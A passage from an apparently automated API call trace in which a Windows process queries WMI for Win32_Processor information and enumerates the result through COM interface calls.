[0078.020] WbemLocator:IUnknown:AddRef (This=0x52edc84) returned 0x3 [0078.020] IWbemServices:GetObject (in: This=0x52edc84, strObjectPath="win32_processor", lFlags=0, pCtx=0x0, ppObject=0x36e7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x36e7b0*=0x52f5708, ppCallResult=0x0) returned 0x0 [0078.027] WbemLocator:IUnknown:Release (This=0x52edc84) returned 0x2 [0078.030] IWbemClassObject:Get (in: This=0x52f5708, wszName="__PATH", lFlags=0, pVal=0x36e96c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x36ea50*=0, plFlavor=0x36ea4c*=0 | out: pVal=0x36e96c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\YKYD69Q\\ROOT\\CIMV2:Win32_Processor", varVal2=0x0), pType=0x36ea50*=8, plFlavor=0x36ea4c*=64) returned 0x0 [0078.030] SysStringLen (param_1="\\\\YKYD69Q\\ROOT\\CIMV2:Win32_Processor") returned 0x24 [0078.030] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x310 [0078.030] GetLastError () returned 0x0 [0078.030] SetEvent (hEvent=0x290) returned 1 [0078.031] GetLastError () returned 0x0 [0078.033] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x36e968*=0x310, lpdwindex=0x36e720 | out: lpdwindex=0x36e720) returned 0x0 [0078.033] CoGetContextToken (in: pToken=0x36e7b8 | out: pToken=0x36e7b8) returned 0x0 [0078.033] CoGetContextToken (in: pToken=0x36e778 | out: pToken=0x36e778) returned 0x0 [0078.033] WbemDefPath:IUnknown:AddRef (This=0x52edca8) returned 0x2 [0078.033] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edca8, riid=0x36e7f4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e7f0 | out: ppvObject=0x36e7f0*=0x52edca8) returned 0x0 [0078.033] WbemDefPath:IUnknown:Release (This=0x52edca8) returned 0x2 [0078.033] WbemDefPath:IUnknown:Release (This=0x52edca8) returned 0x1 [0078.034] CoGetContextToken (in: pToken=0x36e838 | out: pToken=0x36e838) returned 0x0 [0078.034] CoGetContextToken (in: pToken=0x36e7f8 | out: pToken=0x36e7f8) returned 0x0 [0078.034] WbemDefPath:IUnknown:AddRef (This=0x52edca8) returned 0x2 [0078.034] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edca8, riid=0x36e874*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e870 | out: ppvObject=0x36e870*=0x52edca8) returned 0x0 [0078.034] WbemDefPath:IUnknown:Release (This=0x52edca8) returned 0x2 [0078.034] WbemDefPath:IWbemPath:SetText (This=0x52edca8, uMode=0x4, pszPath="\\\\YKYD69Q\\ROOT\\CIMV2:Win32_Processor") returned 0x0 [0078.034] WbemDefPath:IUnknown:Release (This=0x52edca8) returned 0x1 [0078.034] IWbemClassObject:Get (in: This=0x52f5708, wszName="__CLASS", lFlags=0, pVal=0x36e9e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x36ea98*=0, plFlavor=0x36ea94*=0 | out: pVal=0x36e9e4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Processor", varVal2=0x0), pType=0x36ea98*=8, plFlavor=0x36ea94*=64) returned 0x0 [0078.034] SysStringLen (param_1="Win32_Processor") returned 0xf [0078.034] CoGetContextToken (in: pToken=0x36e27c | out: pToken=0x36e27c) returned 0x0 [0078.034] WbemLocator:IUnknown:AddRef (This=0x52edc84) returned 0x3 [0078.034] IWbemServices:CreateInstanceEnum (in: This=0x52edc84, strFilter="Win32_Processor", lFlags=17, pCtx=0x0, ppEnum=0x36e8bc | out: ppEnum=0x36e8bc*=0x52f5b5c) returned 0x0 [0078.046] IUnknown:QueryInterface (in: This=0x52f5b5c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e56c | out: ppvObject=0x36e56c*=0x52f5b60) returned 0x0 [0078.046] IClientSecurity:QueryBlanket (in: This=0x52f5b60, pProxy=0x52f5b5c, pAuthnSvc=0x36e5b4, pAuthzSvc=0x36e5b0, pServerPrincName=0x36e5c0, pAuthnLevel=0x36e5b8, pImpLevel=0x36e5a4, pAuthInfo=0x36e5a8, pCapabilites=0x36e5ac | out: pAuthnSvc=0x36e5b4*=0xa, pAuthzSvc=0x36e5b0*=0x0, pServerPrincName=0x36e5c0, pAuthnLevel=0x36e5b8*=0x6, pImpLevel=0x36e5a4*=0x2, pAuthInfo=0x36e5a8, pCapabilites=0x36e5ac*=0x1) returned 0x0 [0078.046] IUnknown:Release (This=0x52f5b60) returned 0x1 [0078.046] IUnknown:QueryInterface (in: This=0x52f5b5c, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e560 | out: ppvObject=0x36e560*=0x8c4954) returned 0x0 [0078.047] IUnknown:QueryInterface (in: This=0x52f5b5c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e55c | out: ppvObject=0x36e55c*=0x52f5b60) returned 0x0 [0078.047] IClientSecurity:SetBlanket (This=0x52f5b60, pProxy=0x52f5b5c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0078.080] IUnknown:Release (This=0x52f5b60) returned 0x2 [0078.080] WbemLocator:IUnknown:Release (This=0x8c4954) returned 0x1 [0078.080] CoTaskMemFree (pv=0x88eb90) [0078.080] WbemLocator:IUnknown:Release (This=0x52edc84) returned 0x2 [0078.080] IUnknown:QueryInterface (in: This=0x52f5b5c, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36df14 | out: ppvObject=0x36df14*=0x8c4954) returned 0x0 [0078.080] WbemLocator:IUnknown:QueryInterface (in: This=0x8c4954, riid=0x73be4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x36ded0 | out: ppvObject=0x36ded0*=0x0) returned 0x80004002 [0078.084] WbemLocator:IUnknown:QueryInterface (in: This=0x8c4954, riid=0x73b10b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x36ddc4 | out: ppvObject=0x36ddc4*=0x0) returned 0x80004002 [0078.087] WbemLocator:IUnknown:AddRef (This=0x8c4954) returned 0x3 [0078.087] CoGetContextToken (in: pToken=0x36dd5c | out: pToken=0x36dd5c) returned 0x0 [0078.087] CoGetContextToken (in: pToken=0x36dd20 | out: pToken=0x36dd20) returned 0x0 [0078.087] IUnknown:QueryInterface (in: This=0x8596b8, riid=0x73be3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36dd54 | out: ppvObject=0x36dd54*=0x8596c4) returned 0x0 [0078.087] IComThreadingInfo:GetCurrentApartmentType (in: This=0x8596c4, pAptType=0x36dd84 | out: pAptType=0x36dd84*=3) returned 0x0 [0078.087] IUnknown:Release (This=0x8596c4) returned 0x1 [0078.087] WbemLocator:IUnknown:QueryInterface (in: This=0x8c4954, riid=0x73ac23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36dd44 | out: ppvObject=0x36dd44*=0x8c48b4) returned 0x0 [0078.087] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x8c48b4, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x36dd4c | out: pCid=0x36dd4c*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0078.087] WbemLocator:IUnknown:Release (This=0x8c48b4) returned 0x3 [0078.087] CoGetContextToken (in: pToken=0x36dd54 | out: pToken=0x36dd54) returned 0x0 [0078.087] WbemLocator:IUnknown:AddRef (This=0x8c4954) returned 0x4 [0078.087] WbemLocator:IUnknown:QueryInterface (in: This=0x8c4954, riid=0x73b1767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36ddc8 | out: ppvObject=0x36ddc8*=0x8c493c) returned 0x0 [0078.087] WbemLocator:IUnknown:Release (This=0x8c4954) returned 0x4 [0078.087] WbemLocator:IRpcOptions:Query (in: This=0x8c493c, pPrx=0x8c4954, dwProperty=2, pdwValue=0x36ddec | out: pdwValue=0x36ddec) returned 0x80004002 [0078.087] WbemLocator:IUnknown:Release (This=0x8c493c) returned 0x3 [0078.088] WbemLocator:IUnknown:Release (This=0x8c4954) returned 0x2 [0078.088] CoGetContextToken (in: pToken=0x36e1c8 | out: pToken=0x36e1c8) returned 0x0 [0078.088] CoGetContextToken (in: pToken=0x36e188 | out: pToken=0x36e188) returned 0x0 [0078.088] WbemLocator:IUnknown:AddRef (This=0x8c4954) returned 0x3 [0078.088] WbemLocator:IUnknown:QueryInterface (in: This=0x8c4954, riid=0x36e204*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x36e200 | out: ppvObject=0x36e200*=0x52f5b5c) returned 0x0 [0078.088] WbemLocator:IUnknown:Release (This=0x8c4954) returned 0x3 [0078.088] IUnknown:Release (This=0x52f5b5c) returned 0x2 [0078.088] IUnknown:Release (This=0x52f5b5c) returned 0x1 [0078.088] CoGetContextToken (in: pToken=0x36e898 | out: pToken=0x36e898) returned 0x0 [0078.088] CoGetContextToken (in: pToken=0x36e858 | out: pToken=0x36e858) returned 0x0 [0078.088] WbemDefPath:IUnknown:AddRef (This=0x52edaa8) returned 0x3 [0078.088] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edaa8, riid=0x36e8d4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e8d0 | out: ppvObject=0x36e8d0*=0x52edaa8) returned 0x0 [0078.088] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x3 [0078.089] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x52edaa8, puCount=0x36ea4c | out: puCount=0x36ea4c*=0x2) returned 0x0 [0078.089] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x2 [0078.089] CoGetContextToken (in: pToken=0x36e888 | out: pToken=0x36e888) returned 0x0 [0078.089] CoGetContextToken (in: pToken=0x36e848 | out: pToken=0x36e848) returned 0x0 [0078.089] WbemDefPath:IUnknown:AddRef (This=0x52edaa8) returned 0x3 [0078.089] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edaa8, riid=0x36e8c4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e8c0 | out: ppvObject=0x36e8c0*=0x52edaa8) returned 0x0 [0078.089] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x3 [0078.089] WbemDefPath:IWbemPath:GetText (in: This=0x52edaa8, lFlags=4, puBuffLength=0x36ea48*=0x0, pszText=0x0 | out: puBuffLength=0x36ea48*=0xf, pszText=0x0) returned 0x0 [0078.089] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x2 [0078.089] CoGetContextToken (in: pToken=0x36e888 | out: pToken=0x36e888) returned 0x0 [0078.089] CoGetContextToken (in: pToken=0x36e848 | out: pToken=0x36e848) returned 0x0 [0078.089] WbemDefPath:IUnknown:AddRef (This=0x52edaa8) returned 0x3 [0078.089] WbemDefPath:IUnknown:QueryInterface (in: This=0x52edaa8, riid=0x36e8c4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e8c0 | out: ppvObject=0x36e8c0*=0x52edaa8) returned 0x0 [0078.089] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x3 [0078.089] WbemDefPath:IWbemPath:GetText (in: This=0x52edaa8, lFlags=4, puBuffLength=0x36ea48*=0xf, pszText="00000000000000" | out: puBuffLength=0x36ea48*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0078.089] WbemDefPath:IUnknown:Release (This=0x52edaa8) returned 0x2 [0078.090] CoGetContextToken (in: pToken=0x36e3e0 | out: pToken=0x36e3e0) returned 0x0 [0078.090] CoGetContextToken (in: pToken=0x36e3a0 | out: pToken=0x36e3a0) returned 0x0 [0078.090] WbemLocator:IUnknown:AddRef (This=0x8c4954) returned 0x2 [0078.090] WbemLocator:IUnknown:QueryInterface (in: This=0x8c4954, riid=0x36e41c*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x36e418 | out: ppvObject=0x36e418*=0x52f5b5c) returned 0x0 [0078.090] WbemLocator:IUnknown:Release (This=0x8c4954) returned 0x2 [0078.090] IUnknown:AddRef (This=0x52f5b5c) returned 0x3 [0078.090] IEnumWbemClassObject:Clone (in: This=0x52f5b5c, ppEnum=0x36ea14 | out: ppEnum=0x36ea14*=0x52f5c24) returned 0x0 [0078.094] IUnknown:QueryInterface (in: This=0x52f5c24, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e6d0 | out: ppvObject=0x36e6d0*=0x52f5c28) returned 0x0 [0078.094] IClientSecurity:QueryBlanket (in: This=0x52f5c28, pProxy=0x52f5c24, pAuthnSvc=0x36e718, pAuthzSvc=0x36e714, pServerPrincName=0x36e724, pAuthnLevel=0x36e71c, pImpLevel=0x36e708, pAuthInfo=0x36e70c, pCapabilites=0x36e710 | out: pAuthnSvc=0x36e718*=0xa, pAuthzSvc=0x36e714*=0x0, pServerPrincName=0x36e724, pAuthnLevel=0x36e71c*=0x6, pImpLevel=0x36e708*=0x2, pAuthInfo=0x36e70c, pCapabilites=0x36e710*=0x1) returned 0x0 [0078.094] IUnknown:Release (This=0x52f5c28) returned 0x1 [0078.094] IUnknown:QueryInterface (in: This=0x52f5c24, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e6c4 | out: ppvObject=0x36e6c4*=0x8c5ac4) returned 0x0 [0078.094] IUnknown:QueryInterface (in: This=0x52f5c24, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e6c0 | out: ppvObject=0x36e6c0*=0x52f5c28) returned 0x0 [0078.095] IClientSecurity:SetBlanket (This=0x52f5c28, pProxy=0x52f5c24, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0078.104] IUnknown:Release (This=0x52f5c28) returned 0x2 [0078.104] WbemLocator:IUnknown:Release (This=0x8c5ac4) returned 0x1 [0078.104] CoTaskMemFree (pv=0x88ec50) [0078.104] IUnknown:Release (This=0x52f5b5c) returned 0x2 [0078.104] IUnknown:QueryInterface (in: This=0x52f5c24, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e06c | out: ppvObject=0x36e06c*=0x8c5ac4) returned 0x0 [0078.104] WbemLocator:IUnknown:QueryInterface (in: This=0x8c5ac4, riid=0x73be4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x36e028 | out: ppvObject=0x36e028*=0x0) returned 0x80004002 [0078.105] WbemLocator:IUnknown:QueryInterface (in: This=0x8c5ac4, riid=0x73b10b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x36df1c | out: ppvObject=0x36df1c*=0x0) returned 0x80004002 [0078.108] WbemLocator:IUnknown:AddRef (This=0x8c5ac4) returned 0x3 [0078.108] CoGetContextToken (in: pToken=0x36deb4 | out: pToken=0x36deb4) returned 0x0 [0078.108] CoGetContextToken (in: pToken=0x36de78 | out: pToken=0x36de78) returned 0x0 [0078.109] IUnknown:QueryInterface (in: This=0x8596b8, riid=0x73be3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36deac | out: ppvObject=0x36deac*=0x8596c4) returned 0x0 [0078.109] IComThreadingInfo:GetCurrentApartmentType (in: This=0x8596c4, pAptType=0x36dedc | out: pAptType=0x36dedc*=3) returned 0x0 [0078.109] IUnknown:Release (This=0x8596c4) returned 0x1 [0078.109] WbemLocator:IUnknown:QueryInterface (in: This=0x8c5ac4, riid=0x73ac23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36de9c | out: ppvObject=0x36de9c*=0x8c5a24) returned 0x0 [0078.109] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x8c5a24, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x36dea4 | out: pCid=0x36dea4*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0078.109] WbemLocator:IUnknown:Release (This=0x8c5a24) returned 0x3 [0078.109] CoGetContextToken (in: pToken=0x36deac | out: pToken=0x36deac) returned 0x0 [0078.109] WbemLocator:IUnknown:AddRef (This=0x8c5ac4) returned 0x4 [0078.109] WbemLocator:IUnknown:QueryInterface (in: This=0x8c5ac4, riid=0x73b1767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36df20 | out: ppvObject=0x36df20*=0x8c5aac) returned 0x0 [0078.109] WbemLocator:IUnknown:Release (This=0x8c5ac4) returned 0x4 [0078.109] WbemLocator:IRpcOptions:Query (in: This=0x8c5aac, pPrx=0x8c5ac4, dwProperty=2, pdwValue=0x36df44 | out: pdwValue=0x36df44) returned 0x80004002 [0078.109] WbemLocator:IUnknown:Release (This=0x8c5aac) returned 0x3 [0078.110] WbemLocator:IUnknown:Release (This=0x8c5ac4) returned 0x2 [0078.110] CoGetContextToken (in: pToken=0x36e320 | out: pToken=0x36e320) returned 0x0 [0078.110] CoGetContextToken (in: pToken=0x36e2e0 | out: pToken=0x36e2e0) returned 0x0 [0078.110] WbemLocator:IUnknown:AddRef (This=0x8c5ac4) returned 0x3 [0078.110] WbemLocator:IUnknown:QueryInterface (in: This=0x8c5ac4, riid=0x36e35c*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x36e358 | out: ppvObject=0x36e358*=0x52f5c24) returned 0x0 [0078.110] WbemLocator:IUnknown:Release (This=0x8c5ac4) returned 0x3 [0078.110] IUnknown:Release (This=0x52f5c24) returned 0x2 [0078.110] IUnknown:Release (This=0x52f5c24) returned 0x1 [0078.114] CoGetContextToken (in: pToken=0x36e914 | out: pToken=0x36e914) returned 0x0 [0078.114] CoGetContextToken (in: pToken=0x36e8d4 | out: pToken=0x36e8d4) returned 0x0 [0078.114] WbemLocator:IUnknown:AddRef (This=0x8c5ac4) returned 0x2 [0078.115] WbemLocator:IUnknown:QueryInterface (in: This=0x8c5ac4, riid=0x36e950*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x36e94c | out: ppvObject=0x36e94c*=0x52f5c24) returned 0x0 [0078.115] WbemLocator:IUnknown:Release (This=0x8c5ac4) returned 0x2 [0078.115] IUnknown:AddRef (This=0x52f5c24) returned 0x3 [0078.115] IEnumWbemClassObject:Reset (This=0x52f5c24) returned 0x0 [0078.116] IUnknown:Release (This=0x52f5c24) returned 0x2 [0078.119] CoGetContextToken (in: pToken=0x36e7fc | out: pToken=0x36e7fc) returned 0x0 [0078.119] IUnknown:AddRef (This=0x52f5c24) returned 0x3 [0078.119] IEnumWbemClassObject:Next (in: This=0x52f5c24, lTimeout=-1, uCount=0x1, apObjects=0x85f2e0, puReturned=0x24e128c | out: apObjects=0x85f2e0*=0x52f5c60, puReturned=0x24e128c*=0x1) returned 0x0 [0079.328] IUnknown:QueryInterface (in: This=0x52f5c60, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36de08 | out: ppvObject=0x36de08*=0x52f5c60) returned 0x0 [0079.328] IUnknown:QueryInterface (in: This=0x52f5c60, riid=0x73be4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x36ddc4 | out: ppvObject=0x36ddc4*=0x0) returned 0x80004002 [0079.331] IUnknown:QueryInterface (in: This=0x52f5c60, riid=0x73b10b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x36dcb8 | out: ppvObject=0x36dcb8*=0x0) returned 0x80004002 [0079.332] IUnknown:AddRef (This=0x52f5c60) returned 0x3 [0079.332] CoGetContextToken (in: pToken=0x36dc50 | out: pToken=0x36dc50) returned 0x0 [0079.332] CoGetContextToken (in: pToken=0x36dc14 | out: pToken=0x36dc14) returned 0x0 [0079.332] IUnknown:QueryInterface (in: This=0x8596b8, riid=0x73be3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36dc48 | out: ppvObject=0x36dc48*=0x8596c4) returned 0x0 [0079.332] IComThreadingInfo:GetCurrentApartmentType (in: This=0x8596c4, pAptType=0x36dc78 | out: pAptType=0x36dc78*=3) returned 0x0 [0079.332] IUnknown:Release (This=0x8596c4) returned 0x1 [0079.332] IUnknown:QueryInterface (in: This=0x52f5c60, riid=0x73ac23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36dc38 | out: ppvObject=0x36dc38*=0x52f5c64) returned 0x0 [0079.332] IMarshal:GetUnmarshalClass (in: This=0x52f5c64, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x36dc40 | out: pCid=0x36dc40*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0079.332] IUnknown:Release (This=0x52f5c64) returned 0x3 [0079.333] CoGetContextToken (in: pToken=0x36dc48 | out: pToken=0x36dc48) returned 0x0 [0079.333] IUnknown:AddRef (This=0x52f5c60) returned 0x4 [0079.333] IUnknown:QueryInterface (in: This=0x52f5c60, riid=0x73b1767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36dcbc | out: ppvObject=0x36dcbc*=0x0) returned 0x80004002 [0079.333] IUnknown:Release (This=0x52f5c60) returned 0x3 [0079.333] IUnknown:Release (This=0x52f5c60) returned 0x2 [0079.333] CoGetContextToken (in: pToken=0x36e0a8 | out: pToken=0x36e0a8) returned 0x0 [0079.333] CoGetContextToken (in: pToken=0x36e068 | out: pToken=0x36e068) returned 0x0 [0079.333] IUnknown:AddRef (This=0x52f5c60) returned 0x3 [0079.333] IUnknown:QueryInterface (in: This=0x52f5c60, riid=0x36e0e4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x36e0e0 | out: ppvObject=0x36e0e0*=0x52f5c60) returned 0x0 [0079.333] IUnknown:Release (This=0x52f5c60) returned 0x3 [0079.333] IUnknown:Release (This=0x52f5c60) returned 0x2 [0079.333] IUnknown:Release (This=0x52f5c60) returned 0x1 [0079.334] IUnknown:Release (This=0x52f5c24) returned 0x2 [0079.334] CoGetContextToken (in: pToken=0x36e998 | out: pToken=0x36e998) returned 0x0 [0079.334] IUnknown:AddRef (This=0x52f5c60) returned 0x2 [0079.334] IWbemClassObject:Get (in: This=0x52f5c60, wszName="__GENUS", lFlags=0, pVal=0x36ea14*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x36eac8*=0, plFlavor=0x36eac4*=0 | out: pVal=0x36ea14*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x36eac8*=3, plFlavor=0x36eac4*=64) returned 0x0 [0079.334] IWbemClassObject:Get (in: This=0x52f5c60, wszName="__PATH", lFlags=0, pVal=0x36e9f4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x36eaac*=0, plFlavor=0x36eaa8*=0 | out: pVal=0x36e9f4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, 